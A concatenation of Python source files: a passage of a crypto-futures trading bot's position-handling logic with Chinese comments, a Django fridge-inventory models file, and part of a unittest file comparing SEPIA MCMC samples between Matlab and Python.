HYJ_jd_first = f"交易对:{self.symbol},仓位:{self.pos}" HYJ_jd_tradeType = "开空2" HYJ_jd_curAmount = f"{enter_price}" HYJ_jd_remark = f"最新价:{self.last_price}" dingding(f"开空2,交易所返回:{res_sell}", symbols=self.symbol) wx_send_msg(HYJ_jd_first, HYJ_jd_tradeType, HYJ_jd_curAmount, HYJ_jd_remark) else: self.pos_flag = 0 def on_ticker_data(self, ticker): self.ticker_data(ticker) def ticker_data(self, ticker): if self.symbol == ticker['symbol']: last_price = float(ticker['last_price']) # 最新的价格. self.last_price = last_price if self.pos != 0: if self.high_price > 0: self.high_price = max(self.high_price, self.last_price) if self.low_price > 0: self.low_price = min(self.low_price, self.last_price) if self.pos == 0: # 无持仓 if self.HYJ_jd_ss == 1: # 策略计算出来是开多信号 self.HYJ_jd_ss = 0 self.pos = self.round_to(self.trading_size, self.min_volume) enter_price = self.ask res_buy = self.buy(enter_price, abs(self.pos), mark=True) self.enter_price = enter_price self.stoploss_price = enter_price * (1 - self.long_stoploss) self.takeprofit_price = enter_price * (1 + self.long_takeprofit) self.high_price = enter_price self.low_price = enter_price self.maxunRealizedProfit = 0 self.unRealizedProfit = 0 self.lowProfit = 0 self.pos_update_time = datetime.now() self.sync_data() HYJ_jd_first = f"交易对:{self.symbol},仓位:{self.pos}" HYJ_jd_tradeType = "开多" HYJ_jd_curAmount = f"{enter_price}" HYJ_jd_remark = f"最新价:{self.last_price}" dingding(f"开多交易所返回:{res_buy}", symbols=self.symbol) wx_send_msg(HYJ_jd_first, HYJ_jd_tradeType, HYJ_jd_curAmount, HYJ_jd_remark) elif self.HYJ_jd_ss == -1: # 策略计算出来是开空信号 self.HYJ_jd_ss = 0 self.pos = self.round_to(self.trading_size, self.min_volume) enter_price = self.bid res_sell = self.sell(enter_price, abs(self.pos), mark=True) self.pos = -self.pos self.enter_price = enter_price self.stoploss_price = enter_price * (1 + self.short_stoploss) self.takeprofit_price = enter_price * (1 - self.short_takeprofit) self.high_price = enter_price self.low_price = enter_price self.maxunRealizedProfit = 0 self.unRealizedProfit = 0 self.lowProfit = 0 self.pos_update_time = datetime.now() self.sync_data() HYJ_jd_first = f"交易对:{self.symbol},仓位:{self.pos}" HYJ_jd_tradeType = "开空" HYJ_jd_curAmount = f"{enter_price}" HYJ_jd_remark = f"最新价:{self.last_price}" dingding(f"开空交易所返回:{res_sell}", symbols=self.symbol) wx_send_msg(HYJ_jd_first, HYJ_jd_tradeType, HYJ_jd_curAmount, HYJ_jd_remark) elif self.HYJ_jd_ss == 2: # 趋势反转后平空后开多 self.HYJ_jd_ss = 0 self.pos = self.round_to(self.trading_size, self.min_volume) enter_price = self.ask res_buy = self.buy(enter_price, abs(self.pos), mark=True) self.enter_price = enter_price self.stoploss_price = enter_price * (1 - self.long_stoploss) self.takeprofit_price = enter_price * (1 + self.long_takeprofit) self.high_price = enter_price self.low_price = enter_price self.maxunRealizedProfit = 0 self.unRealizedProfit = 0 self.lowProfit = 0 self.pos_update_time = datetime.now() self.sync_data() HYJ_jd_first = f"交易对:{self.symbol},仓位:{self.pos}" HYJ_jd_tradeType = "开多3" HYJ_jd_curAmount = f"{enter_price}" HYJ_jd_remark = f"最新价:{self.last_price}" dingding(f"开多交易所返回:{res_buy}", symbols=self.symbol) wx_send_msg(HYJ_jd_first, HYJ_jd_tradeType, HYJ_jd_curAmount, HYJ_jd_remark) elif self.HYJ_jd_ss == -2: # 趋势反转后平多后开空 self.HYJ_jd_ss = 0 self.pos = self.round_to(self.trading_size, self.min_volume) enter_price = self.bid res_sell = self.sell(enter_price, abs(self.pos), mark=True) self.pos = -self.pos self.enter_price = enter_price self.stoploss_price = enter_price * (1 + self.short_stoploss) self.takeprofit_price = enter_price * (1 - self.short_takeprofit) self.high_price = enter_price self.low_price = enter_price self.maxunRealizedProfit = 0 self.unRealizedProfit = 0 self.lowProfit = 0 self.pos_update_time = datetime.now() self.sync_data() HYJ_jd_first = f"交易对:{self.symbol},仓位:{self.pos}" HYJ_jd_tradeType = "开空3" HYJ_jd_curAmount = f"{enter_price}" HYJ_jd_remark = f"最新价:{self.last_price}" dingding(f"开空交易所返回:{res_sell}", symbols=self.symbol) wx_send_msg(HYJ_jd_first, HYJ_jd_tradeType, HYJ_jd_curAmount, HYJ_jd_remark) elif self.pos > 0: # 多单持仓，目前止损是以 HYJ_jd_ss = 11,如有需要其他的止损请在下边增加自己的代码 enter_price = self.bid2 # +1 Profit = self.round_to((enter_price - self.enter_price) * abs(self.pos), self.min_price) if self.HYJ_jd_ss == 11: # self.HYJ_jd_ss = 11 是趋势反转了 self.HYJ_jd_ss_old = 1 res_sell = self.sell(enter_price, abs(self.pos), mark=True) self.HYJ_jd_ss = 0 self.stop_price = 0 HYJ_jd_first = "趋势反转平多:交易对:%s,最大亏损:%s,最大利润:%s,当前利润:%s,仓位:%s" % ( self.symbol, self.lowProfit, self.maxunRealizedProfit, self.unRealizedProfit, self.pos) self.pos = 0 HYJ_jd_tradeType = "平多" HYJ_jd_curAmount = "%s" % enter_price HYJ_jd_remark = "趋势反转平多:%s,最新价:%s,最高价:%s,最低价:%s" % ( Profit, self.last_price, self.high_price, self.low_price) self.enter_price = 0 self.high_price = 0 self.low_price = 0 self.stoploss_price = 0 self.takeprofit_price = 0 self.maxunRealizedProfit = 0 self.unRealizedProfit = 0 self.lowProfit = 0 self.sync_data() dingding(f"趋势反转平多,交易所返回:{res_sell}", symbols=self.symbol) wx_send_msg(HYJ_jd_first, HYJ_jd_tradeType, HYJ_jd_curAmount, HYJ_jd_remark) elif self.HYJ_jd_ss == 22: # self.HYJ_jd_ss = 22 是趋势收缩了 self.HYJ_jd_ss_old = 1 res_sell = self.sell(enter_price, abs(self.pos), mark=True) self.HYJ_jd_ss = 0 self.stop_price = 0 HYJ_jd_first = "趋势收缩平多:交易对:%s,最大亏损:%s,最大利润:%s,当前利润:%s,仓位:%s" % ( self.symbol, self.lowProfit, self.maxunRealizedProfit, self.unRealizedProfit, self.pos) self.pos = 0 HYJ_jd_tradeType = "平多" HYJ_jd_curAmount = "%s" % enter_price HYJ_jd_remark = "趋势收缩平多:%s,最新价:%s,最高价:%s,最低价:%s" % ( Profit, self.last_price, self.high_price, self.low_price) self.enter_price = 0 self.high_price = 0 self.low_price = 0 self.stoploss_price = 0 self.takeprofit_price = 0 self.maxunRealizedProfit = 0 self.unRealizedProfit = 0 self.lowProfit = 0 self.sync_data() dingding(f"趋势收缩平多,交易所返回:{res_sell}", symbols=self.symbol) wx_send_msg(HYJ_jd_first, HYJ_jd_tradeType, HYJ_jd_curAmount, HYJ_jd_remark) elif self.last_price < self.stoploss_price: self.HYJ_jd_ss_old = 1 res_sell = self.sell(enter_price, abs(self.pos), mark=True) self.HYJ_jd_ss = 0 self.times += 1 # 这个是连续亏损计数 self.stop_price = 0 HYJ_jd_first = "止损平多:交易对:%s,最大亏损:%s,最大利润:%s,当前利润:%s,仓位:%s" % ( self.symbol, self.lowProfit, self.maxunRealizedProfit, self.unRealizedProfit, self.pos) self.pos = 0 HYJ_jd_tradeType = "止损平多" HYJ_jd_curAmount = "%s" % enter_price HYJ_jd_remark = "止损平多:%s,最新价:%s,最高价:%s,最低价:%s" % ( Profit, self.last_price, self.high_price, self.low_price) self.stoploss_price = 0 self.takeprofit_price = 0 self.enter_price = 0 self.high_price = 0 self.low_price = 0 self.maxunRealizedProfit = 0 self.unRealizedProfit = 0 self.lowProfit = 0 self.sync_data() dingding(f"止损平多,交易所返回:{res_sell}") wx_send_msg(HYJ_jd_first, HYJ_jd_tradeType, HYJ_jd_curAmount, HYJ_jd_remark) elif self.takeprofit_price != 0 and self.last_price > self.takeprofit_price: self.HYJ_jd_ss_old = 1 res_sell = self.sell(enter_price, abs(self.pos), mark=True) self.HYJ_jd_ss = 0 HYJ_jd_first = "止盈A:交易对:%s,最大亏损:%s,最大利润:%s,当前利润:%s,仓位:%s" % ( self.symbol, self.lowProfit, self.maxunRealizedProfit, self.unRealizedProfit, self.pos) self.pos = 0 HYJ_jd_remark = "净利:%s,最新价:%s,最高价:%s,最低价:%s" % ( Profit, self.last_price, self.high_price, self.low_price) self.times = 0 self.stoploss_price = 0 self.takeprofit_price = 0 self.stop_price = 0 HYJ_jd_tradeType = "平多" HYJ_jd_curAmount = "%s" % enter_price self.enter_price = 0 self.high_price = 0 self.low_price = 0 self.maxunRealizedProfit = 0 self.unRealizedProfit = 0 self.lowProfit = 0 self.sync_data() dingding(f"多单,止盈A,交易所返回:{res_sell}") wx_send_msg(HYJ_jd_first, HYJ_jd_tradeType, HYJ_jd_curAmount, HYJ_jd_remark) # elif self.unRealizedProfit > 0.1 and self.high_price - self.last_price > 1: # # self.HYJ_jd_ss_old = 1 # res_sell = self.sell(enter_price, abs(self.pos)) # self.HYJ_jd_ss = 0 # HYJ_jd_first = "止盈B:交易对:%s,最大亏损:%s,最大利润:%s,当前利润:%s,仓位:%s" % ( # self.symbol, self.lowProfit, self.maxunRealizedProfit, self.unRealizedProfit, self.pos) # self.pos = 0 # HYJ_jd_remark = "净利:%s,最新价:%s,最高价:%s,最低价:%s" % ( # Profit, self.last_price, self.high_price, self.low_price) # self.times = 0 # self.stoploss_price = 0 # self.takeprofit_price = 0 # self.stop_price = 0 # HYJ_jd_tradeType = "平多" # HYJ_jd_curAmount = "%s" % enter_price # self.enter_price = 0 # self.high_price = 0 # self.low_price = 0 # self.maxunRealizedProfit = 0 # self.unRealizedProfit = 0 # self.lowProfit = 0 # self.sync_data() # dingding(f"多单,止盈B,交易所返回:{res_sell}") # wx_send_msg(HYJ_jd_first, HYJ_jd_tradeType, HYJ_jd_curAmount, HYJ_jd_remark) # # elif self.unRealizedProfit > 0.05 and self.high_price - self.last_price > 1: # # self.HYJ_jd_ss_old = 1 # res_sell = self.sell(enter_price, abs(self.pos)) # self.HYJ_jd_ss = 0 # HYJ_jd_first = "止盈C:交易对:%s,最大亏损:%s,最大利润:%s,当前利润:%s,仓位:%s" % ( # self.symbol, self.lowProfit, self.maxunRealizedProfit, self.unRealizedProfit, self.pos) # self.pos = 0 # HYJ_jd_remark = "净利:%s,最新价:%s,最高价:%s,最低价:%s" % ( # Profit, self.last_price, self.high_price, self.low_price) # self.times = 0 # self.stoploss_price = 0 # self.takeprofit_price = 0 # self.stop_price = 0 # HYJ_jd_tradeType = "平多" # HYJ_jd_curAmount = "%s" % enter_price # self.enter_price = 0 # self.high_price = 0 # self.low_price = 0 # self.maxunRealizedProfit = 0 # self.unRealizedProfit = 0 # self.lowProfit = 0 # self.sync_data() # dingding(f"多单,止盈C,交易所返回:{res_sell}") # wx_send_msg(HYJ_jd_first, HYJ_jd_tradeType, HYJ_jd_curAmount, HYJ_jd_remark) # # elif self.maxunRealizedProfit > 0.1 and self.high_price - self.last_price > 2: # # self.HYJ_jd_ss_old = 1 # res_sell = self.sell(enter_price, abs(self.pos)) # self.HYJ_jd_ss = 0 # HYJ_jd_first = "止盈D:交易对:%s,最大亏损:%s,最大利润:%s,当前利润:%s,仓位:%s" % ( # self.symbol, self.lowProfit, self.maxunRealizedProfit, self.unRealizedProfit, self.pos) # self.pos = 0 # HYJ_jd_remark = "净利:%s,最新价:%s,最高价:%s,最低价:%s" % ( # Profit, self.last_price, self.high_price, self.low_price) # self.times = 0 # self.stoploss_price = 0 # self.takeprofit_price = 0 # self.stop_price = 0 # HYJ_jd_tradeType = "平多" # HYJ_jd_curAmount = "%s" % enter_price # self.enter_price = 0 # self.high_price = 0 # self.low_price = 0 # self.maxunRealizedProfit = 0 # self.unRealizedProfit = 0 # self.lowProfit = 0 # self.sync_data() # dingding(f"多单,止盈D,交易所返回:{res_sell}") # wx_send_msg(HYJ_jd_first, HYJ_jd_tradeType, HYJ_jd_curAmount, HYJ_jd_remark) # # elif self.maxunRealizedProfit > 0.05 and self.high_price - self.last_price > 2: # # self.HYJ_jd_ss_old = 1 # res_sell = self.sell(enter_price, abs(self.pos)) # self.HYJ_jd_ss = 0 # HYJ_jd_first = "止盈E:交易对:%s,最大亏损:%s,最大利润:%s,当前利润:%s,仓位:%s" % ( # self.symbol, self.lowProfit, self.maxunRealizedProfit, self.unRealizedProfit, self.pos) # self.pos = 0 # HYJ_jd_remark = "净利:%s,最新价:%s,最高价:%s,最低价:%s" % ( # Profit, self.last_price, self.high_price, self.low_price) # self.times = 0 # self.stoploss_price = 0 # self.takeprofit_price = 0 # self.stop_price = 0 # HYJ_jd_tradeType = "平多" # HYJ_jd_curAmount = "%s" % enter_price # self.enter_price = 0 # self.high_price = 0 # self.low_price = 0 # self.maxunRealizedProfit = 0 # self.unRealizedProfit = 0 # self.lowProfit = 0 # self.sync_data() # dingding(f"多单,止盈E,交易所返回:{res_sell}") # wx_send_msg(HYJ_jd_first, HYJ_jd_tradeType, HYJ_jd_curAmount, HYJ_jd_remark) elif self.pos < 0: # 空单持仓 enter_price = self.ask2 Profit = self.round_to((self.enter_price - enter_price) * abs(self.pos), self.min_price) if self.HYJ_jd_ss == -11: self.HYJ_jd_ss_old = -1 self.stop_price = 0 res_sell = self.buy(enter_price, abs(self.pos), mark=True) # 平空 self.HYJ_jd_ss = 0 HYJ_jd_first = "趋势反转平空:交易对:%s,最大亏损:%s,最大利润:%s,当前利润:%s,仓位:%s" % ( self.symbol, self.lowProfit, self.maxunRealizedProfit, self.unRealizedProfit, self.pos) self.pos = 0 HYJ_jd_remark = "趋势反转平空:%s,最新价:%s,最高价:%s,最低价:%s" % ( Profit, self.last_price, self.high_price, self.low_price) HYJ_jd_tradeType = "平空" HYJ_jd_curAmount = "%s" % self.enter_price self.stoploss_price = 0 self.takeprofit_price = 0 self.enter_price = 0 self.high_price = 0 self.low_price = 0 self.maxunRealizedProfit = 0 self.unRealizedProfit = 0 self.lowProfit = 0 self.sync_data() dingding(f"趋势反转平空,交易所返回:{res_sell}", symbols=self.symbol) wx_send_msg(HYJ_jd_first, HYJ_jd_tradeType, HYJ_jd_curAmount, HYJ_jd_remark) elif self.HYJ_jd_ss == -22: self.HYJ_jd_ss_old = -1 self.stop_price = 0 res_sell = self.buy(enter_price, abs(self.pos), mark=True) # 平空 self.HYJ_jd_ss = 0 HYJ_jd_first = "趋势收缩平空:交易对:%s,最大亏损:%s,最大利润:%s,当前利润:%s,仓位:%s" % ( self.symbol, self.lowProfit, self.maxunRealizedProfit, self.unRealizedProfit, self.pos) self.pos = 0 HYJ_jd_remark = "趋势收缩平空:%s,最新价:%s,最高价:%s,最低价:%s" % ( Profit, self.last_price, self.high_price, self.low_price) HYJ_jd_tradeType = "平空" HYJ_jd_curAmount = "%s" % self.enter_price self.stoploss_price = 0 self.takeprofit_price = 0 self.enter_price = 0 self.high_price = 0 self.low_price = 0 self.maxunRealizedProfit = 0 self.unRealizedProfit = 0 self.lowProfit = 0 self.sync_data() dingding(f"趋势收缩平空,交易所返回:{res_sell}", symbols=self.symbol) wx_send_msg(HYJ_jd_first, HYJ_jd_tradeType, HYJ_jd_curAmount, HYJ_jd_remark) elif self.stoploss_price != 0 and self.last_price > self.stoploss_price: self.HYJ_jd_ss_old = -1 self.stop_price = 0 res_sell = self.buy(enter_price, abs(self.pos), mark=True) # 平空 self.HYJ_jd_ss = 0 self.times += 1 # 这个是连续亏损计数 HYJ_jd_first = "止损平空:交易对:%s,最大亏损:%s,最大利润:%s,当前利润:%s,仓位:%s" % ( self.symbol, self.lowProfit, self.maxunRealizedProfit, self.unRealizedProfit, self.pos) self.pos = 0 HYJ_jd_remark = "止损:%s,最新价:%s,最高价:%s,最低价:%s" % ( Profit, self.last_price, self.high_price, self.low_price) HYJ_jd_tradeType = "平空" HYJ_jd_curAmount = "%s" % self.enter_price self.stoploss_price = 0 self.takeprofit_price = 0 self.enter_price = 0 self.high_price = 0 self.low_price = 0 self.maxunRealizedProfit = 0 self.unRealizedProfit = 0 self.lowProfit = 0 self.sync_data() dingding(f"止损平空,交易所返回:{res_sell}") wx_send_msg(HYJ_jd_first, HYJ_jd_tradeType, HYJ_jd_curAmount, HYJ_jd_remark) elif self.takeprofit_price > self.last_price: self.HYJ_jd_ss_old = -1 res_sell = self.buy(enter_price, abs(self.pos), mark=True) # 平空 self.HYJ_jd_ss = 0 HYJ_jd_first = "止盈A:交易对:%s,最大亏损:%s,最大利润:%s,当前利润:%s,仓位:%s" % ( self.symbol, self.lowProfit, self.maxunRealizedProfit, self.unRealizedProfit, self.pos) self.pos = 0 HYJ_jd_tradeType = "平空" HYJ_jd_curAmount = "%s" % self.enter_price HYJ_jd_remark = "净利:%s,最新价:%s,最高价:%s,最低价:%s" % ( Profit, self.last_price, self.high_price, self.low_price) self.times = 0 self.stoploss_price = 0 self.takeprofit_price = 0 self.stop_price = 0 self.enter_price = 0 self.high_price = 0 self.low_price = 0 self.maxunRealizedProfit = 0 self.unRealizedProfit = 0 self.lowProfit = 0 self.sync_data() dingding(f"空单,止盈A,交易所返回:{res_sell}") wx_send_msg(HYJ_jd_first, HYJ_jd_tradeType, HYJ_jd_curAmount, HYJ_jd_remark) # elif self.unRealizedProfit > 0.1 and self.last_price - self.low_price > 1: # # self.HYJ_jd_ss_old = -1 # res_sell = self.buy(enter_price, abs(self.pos)) # 平空 # self.HYJ_jd_ss = 0 # HYJ_jd_first = "止盈B:交易对:%s,最大亏损:%s,最大利润:%s,当前利润:%s,仓位:%s" % ( # self.symbol, self.lowProfit, self.maxunRealizedProfit, self.unRealizedProfit, self.pos) # self.pos = 0 # HYJ_jd_tradeType = "平空" # HYJ_jd_curAmount = "%s" % self.enter_price # HYJ_jd_remark = "净利:%s,最新价:%s,最高价:%s,最低价:%s" % ( # Profit, self.last_price, self.high_price, self.low_price) # self.times = 0 # self.stoploss_price = 0 # self.takeprofit_price = 0 # self.stop_price = 0 # self.enter_price = 0 # self.high_price = 0 # self.low_price = 0 # self.maxunRealizedProfit = 0 # self.unRealizedProfit = 0 # self.lowProfit = 0 # self.sync_data() # dingding(f"空单,止盈B,交易所返回:{res_sell}") # wx_send_msg(HYJ_jd_first, HYJ_jd_tradeType, HYJ_jd_curAmount, HYJ_jd_remark) # # elif self.unRealizedProfit > 0.05 and self.last_price - self.low_price > 1: # # self.HYJ_jd_ss_old = -1 # res_sell = self.buy(enter_price, abs(self.pos)) # 平空 # self.HYJ_jd_ss = 0 # HYJ_jd_first = "止盈C:交易对:%s,最大亏损:%s,最大利润:%s,当前利润:%s,仓位:%s" % ( # self.symbol, self.lowProfit, self.maxunRealizedProfit, self.unRealizedProfit, self.pos) # self.pos = 0 # HYJ_jd_tradeType = "平空" # HYJ_jd_curAmount = "%s" % self.enter_price # HYJ_jd_remark = "净利:%s,最新价:%s,最高价:%s,最低价:%s" % ( # Profit, self.last_price, self.high_price, self.low_price) # self.times = 0 # self.stoploss_price = 0 # self.takeprofit_price = 0 # self.stop_price = 0 # self.enter_price = 0 # self.high_price = 0 # self.low_price = 0 # self.maxunRealizedProfit = 0 # self.unRealizedProfit = 0 # self.lowProfit = 0 # self.sync_data() # dingding(f"空单,止盈C,交易所返回:{res_sell}") # wx_send_msg(HYJ_jd_first, HYJ_jd_tradeType, HYJ_jd_curAmount, HYJ_jd_remark) # # elif self.maxunRealizedProfit > 0.1 and self.last_price - self.low_price > 2: # # self.HYJ_jd_ss_old = -1 # res_sell = self.buy(enter_price, abs(self.pos)) # 平空 # self.HYJ_jd_ss = 0 # HYJ_jd_first = "止盈D:交易对:%s,最大亏损:%s,最大利润:%s,当前利润:%s,仓位:%s" % ( # self.symbol, self.lowProfit, self.maxunRealizedProfit, self.unRealizedProfit, self.pos) # self.pos = 0 # HYJ_jd_tradeType = "平空" # HYJ_jd_curAmount = "%s" % self.enter_price # HYJ_jd_remark = "净利:%s,最新价:%s,最高价:%s,最低价:%s" % ( # Profit, self.last_price, self.high_price, self.low_price) # self.times = 0 # self.stoploss_price = 0 # self.takeprofit_price = 0 # self.stop_price = 0 # self.enter_price = 0 # self.high_price = 0 # self.low_price = 0 # self.maxunRealizedProfit = 0 # self.unRealizedProfit = 0 # self.lowProfit = 0 # self.sync_data() # dingding(f"空单,止盈D,交易所返回:{res_sell}") # wx_send_msg(HYJ_jd_first, HYJ_jd_tradeType, HYJ_jd_curAmount, HYJ_jd_remark) # # elif self.maxunRealizedProfit > 0.05 and self.last_price - self.low_price > 2: # # self.HYJ_jd_ss_old = -1 # res_sell = self.buy(enter_price, abs(self.pos)) # 平空 # self.HYJ_jd_ss = 0 # HYJ_jd_first = "止盈E:交易对:%s,最大亏损:%s,最大利润:%s,当前利润:%s,仓位:%s" % ( # self.symbol, self.lowProfit, self.maxunRealizedProfit, self.unRealizedProfit, self.pos) # self.pos = 0 # HYJ_jd_tradeType = "平空" # HYJ_jd_curAmount = "%s" % self.enter_price # HYJ_jd_remark = "净利:%s,最新价:%s,最高价:%s,最低价:%s" % ( # Profit, self.last_price, self.high_price, self.low_price) # self.times = 0 # self.stoploss_price = 0 # self.takeprofit_price = 0 # self.stop_price = 0 # self.enter_price = 0 # self.high_price = 0 # self.low_price = 0 # self.maxunRealizedProfit = 0 # self.unRealizedProfit = 0 # self.lowProfit = 0 # self.sync_data() # dingding(f"空单,止盈E,交易所返回:{res_sell}") # wx_send_msg(HYJ_jd_first, HYJ_jd_tradeType, HYJ_jd_curAmount, HYJ_jd_remark)
53.059774
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0.493119
3,681
32,844
4.131758
0.044281
0.073969
0.057203
0.034716
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0.883096
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0.859886
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0.407472
32,844
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53.145631
0.764298
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7
0bad3eb696ee5cd5240656eb13ce329d03ddd15b
1,306
py
Python
fridge_web/my_fridge/models.py
logiflo/snowplow-embeded-fridge
8d356f8c5f225de7a50c04ac9a88c4b3ae89d7cd
[ "BSD-2-Clause" ]
1
2020-08-28T08:32:35.000Z
2020-08-28T08:32:35.000Z
my_fridge/models.py
logiflo/fridge-django
07fe585d65698ac78a2499ec1674738859324d05
[ "BSD-2-Clause" ]
null
null
null
my_fridge/models.py
logiflo/fridge-django
07fe585d65698ac78a2499ec1674738859324d05
[ "BSD-2-Clause" ]
null
null
null
from django.db import models from django.contrib.auth.models import User class Essencial(models.Model): """Essencials in your fridge. """ text = models.CharField(max_length=200) date_added = models.DateTimeField(auto_now_add=True) owner = models.ForeignKey(User, on_delete=models.CASCADE) UNIT_CHOICES =[ ('Kg', 'Kilogram'), ('g', 'Gram'), ('L', 'Litre'), ('unit', 'Unit'), ] units = models.CharField(max_length=15, choices=UNIT_CHOICES) quantity = models.FloatField(default=0.0) def __str__(self): """Return a string representation of the model """ return self.text class Food(models.Model): """Food in the fridge. """ text = models.CharField(max_length=200) date_added = models.DateTimeField(auto_now_add=True) owner = models.ForeignKey(User, on_delete=models.CASCADE) UNIT_CHOICES =[ ('Kg', 'Kilogram'), ('g', 'Gram'), ('L', 'Litre'), ('unit', 'Unit'), ] units = models.CharField(max_length=15, choices=UNIT_CHOICES) quantity = models.FloatField(default=0.0) class Meta: verbose_name_plural = 'Food' def __str__(self): """Return a string representation of the model """ return self.text
24.641509
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0.614855
154
1,306
5.045455
0.38961
0.07722
0.092664
0.123552
0.792793
0.792793
0.792793
0.792793
0.792793
0.792793
0
0.014242
0.24732
1,306
52
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25.115385
0.776195
0.117152
0
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0.0625
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0
7
e7ffe12f3f73e69c4371e3fe8b1948d9b38b6ed7
10,625
py
Python
dev/dev_test/SepiaMCMCTestCase.py
lanl/SEPIA
0a1e606e1d1072f49e4f3f358962bd8918a5d3a3
[ "BSD-3-Clause" ]
19
2020-06-22T16:37:07.000Z
2022-02-18T22:50:59.000Z
dev/dev_test/SepiaMCMCTestCase.py
lanl/SEPIA
0a1e606e1d1072f49e4f3f358962bd8918a5d3a3
[ "BSD-3-Clause" ]
41
2020-07-07T22:52:33.000Z
2021-11-04T14:05:03.000Z
dev/dev_test/SepiaMCMCTestCase.py
lanl/SEPIA
0a1e606e1d1072f49e4f3f358962bd8918a5d3a3
[ "BSD-3-Clause" ]
6
2020-08-14T18:58:45.000Z
2022-03-01T21:00:14.000Z
import unittest import numpy as np from time import time from setup_test_cases import * """ NOTE: requires matlab.engine. To install at command line: > source activate <sepia conda env name> > cd <matlabroot>/extern/engines/python > python setup.py install """ class SepiaMCMCTestCase(unittest.TestCase): """ Checks MCMC results between matlab and python. Run files in matlab/ dir to generate data prior to running these tests. """ def test_mcmc_univ_sim_only(self): print('starting test_mcmc_univ_sim_only', flush=True) show_figs = True seed = 42. n_mcmc = 100 m = 300 # call function to do matlab setup/sampling model, matlab_output = setup_univ_sim_only(m=m, seed=seed, n_mcmc=n_mcmc) mcmc_time_mat = matlab_output['mcmc_time'] mcmc_mat = matlab_output['mcmc'] mcmc_mat = {k: np.array(mcmc_mat[k]) for k in mcmc_mat.keys()} # do python sampling np.random.seed(int(seed)) t_start = time() model.do_mcmc(n_mcmc) t_end = time() print('Python mcmc time %0.3g s' % (t_end - t_start), flush=True) print('Matlab mcmc time %0.3g s' % mcmc_time_mat, flush=True) samples_dict = {p.name: p.mcmc_to_array() for p in model.params.mcmcList} samples_dict['logPost'] = np.array(model.params.lp.mcmc.draws).reshape((-1, 1)) self.assertTrue(set(samples_dict.keys()) == set(mcmc_mat.keys())) if show_figs: import matplotlib.pyplot as plt for i, k in enumerate(samples_dict.keys()): param_shape = samples_dict[k].shape[1] plt.figure(i) for j in range(param_shape): plt.subplot(1, param_shape, j+1) plt.hist(samples_dict[k][:, j], alpha=0.5) plt.hist(mcmc_mat[k][:, j], alpha=0.5) plt.xlabel(k) plt.legend(['python', 'matlab']) plt.show() for k in samples_dict.keys(): self.assertTrue(np.allclose(np.mean(samples_dict[k], 0), np.mean(mcmc_mat[k], 0))) self.assertTrue(np.allclose(np.std(samples_dict[k], 0), np.std(mcmc_mat[k], 0))) def test_mcmc_univ_sim_and_obs(self): print('starting test_mcmc_univ_sim_and_obs', flush=True) show_figs = 1 seed = 42. n_mcmc = 100 m = 100 n = 10 model, matlab_output = setup_univ_sim_and_obs(m=m, n=n, seed=seed, n_mcmc=n_mcmc) mcmc_time_mat = matlab_output['mcmc_time'] mcmc_mat = matlab_output['mcmc'] mcmc_mat = {k: np.array(mcmc_mat[k]) for k in mcmc_mat.keys()} # do python sampling np.random.seed(int(seed)) t_start = time() model.do_mcmc(n_mcmc) t_end = time() print('Python mcmc time %0.3g s' % (t_end - t_start), flush=True) print('Matlab mcmc time %0.3g s' % mcmc_time_mat, flush=True) samples_dict = {p.name: p.mcmc_to_array() for p in model.params.mcmcList} samples_dict['logPost'] = np.array(model.params.lp.mcmc.draws).reshape((-1, 1)) self.assertTrue(set(samples_dict.keys()) == set(mcmc_mat.keys())) if show_figs: import matplotlib.pyplot as plt for i, k in enumerate(samples_dict.keys()): param_shape = samples_dict[k].shape[1] plt.figure(i) for j in range(param_shape): plt.subplot(1, param_shape, j + 1) plt.hist(samples_dict[k][:, j], alpha=0.5) plt.hist(mcmc_mat[k][:, j], alpha=0.5) plt.xlabel(k) plt.legend(['python', 'matlab']) plt.show() for k in samples_dict.keys(): self.assertTrue(np.allclose(np.mean(samples_dict[k], 0), np.mean(mcmc_mat[k], 0))) self.assertTrue(np.allclose(np.std(samples_dict[k], 0), np.std(mcmc_mat[k], 0))) def test_mcmc_multi_sim_only(self): print('starting test_mcmc_multi_sim_only', flush=True) show_figs = True seed = 42. n_mcmc = 30 m = 20 nt = 10 n_pc = 4 nx = 5 model, matlab_output = setup_multi_sim_only(m=m, nt=nt, nx=nx, n_pc=n_pc, seed=seed, n_mcmc=n_mcmc) mcmc_time_mat = matlab_output['mcmc_time'] mcmc_mat = matlab_output['mcmc'] mcmc_mat = {k: np.array(mcmc_mat[k]) for k in mcmc_mat.keys()} # do python sampling np.random.seed(int(seed)) t_start = time() model.do_mcmc(n_mcmc) t_end = time() print('Python mcmc time %0.3g s' % (t_end - t_start), flush=True) print('Matlab mcmc time %0.3g s' % mcmc_time_mat, flush=True) samples_dict = {p.name: p.mcmc_to_array() for p in model.params.mcmcList} samples_dict['logPost'] = np.array(model.params.lp.mcmc.draws).reshape((-1, 1)) self.assertTrue(set(samples_dict.keys()) == set(mcmc_mat.keys())) if show_figs: import matplotlib.pyplot as plt for i, k in enumerate(samples_dict.keys()): param_shape = samples_dict[k].shape[1] if param_shape >= 5: ncol = 5 nrow = int(np.ceil(param_shape / ncol)) else: ncol = param_shape nrow = 1 plt.figure(i) for j in range(param_shape): plt.subplot(nrow, ncol, j + 1) plt.hist(samples_dict[k][:, j], alpha=0.5) plt.hist(mcmc_mat[k][:, j], alpha=0.5) plt.xlabel(k) plt.legend(['python', 'matlab']) plt.show() for k in samples_dict.keys(): self.assertTrue(np.allclose(np.mean(samples_dict[k], 0), np.mean(mcmc_mat[k], 0))) self.assertTrue(np.allclose(np.std(samples_dict[k], 0), np.std(mcmc_mat[k], 0))) def test_mcmc_multi_sim_and_obs(self): print('starting test_mcmc_multi_sim_and_obs', flush=True) show_figs = True seed = 42. n_mcmc = 20 m = 200 n = 20 nt_sim = 75 nt_obs = 50 n_pc = 5 # must be smaller than nt nx = 3 noise_sd = 0.1 model, matlab_output = setup_multi_sim_and_obs(m=m, n=n, nt_sim=nt_sim, nt_obs=nt_obs, noise_sd=noise_sd, nx=nx, n_pc=n_pc, seed=seed, n_lik=0, n_mcmc=n_mcmc) mcmc_time_mat = matlab_output['mcmc_time'] mcmc_mat = matlab_output['mcmc'] mcmc_mat = {k: np.array(mcmc_mat[k]) for k in mcmc_mat.keys()} # do python sampling np.random.seed(int(seed)) t_start = time() model.do_mcmc(n_mcmc) t_end = time() print('Python mcmc time %0.3g s' % (t_end - t_start), flush=True) print('Matlab mcmc time %0.3g s' % mcmc_time_mat, flush=True) samples_dict = {p.name: p.mcmc_to_array() for p in model.params.mcmcList} samples_dict['logPost'] = 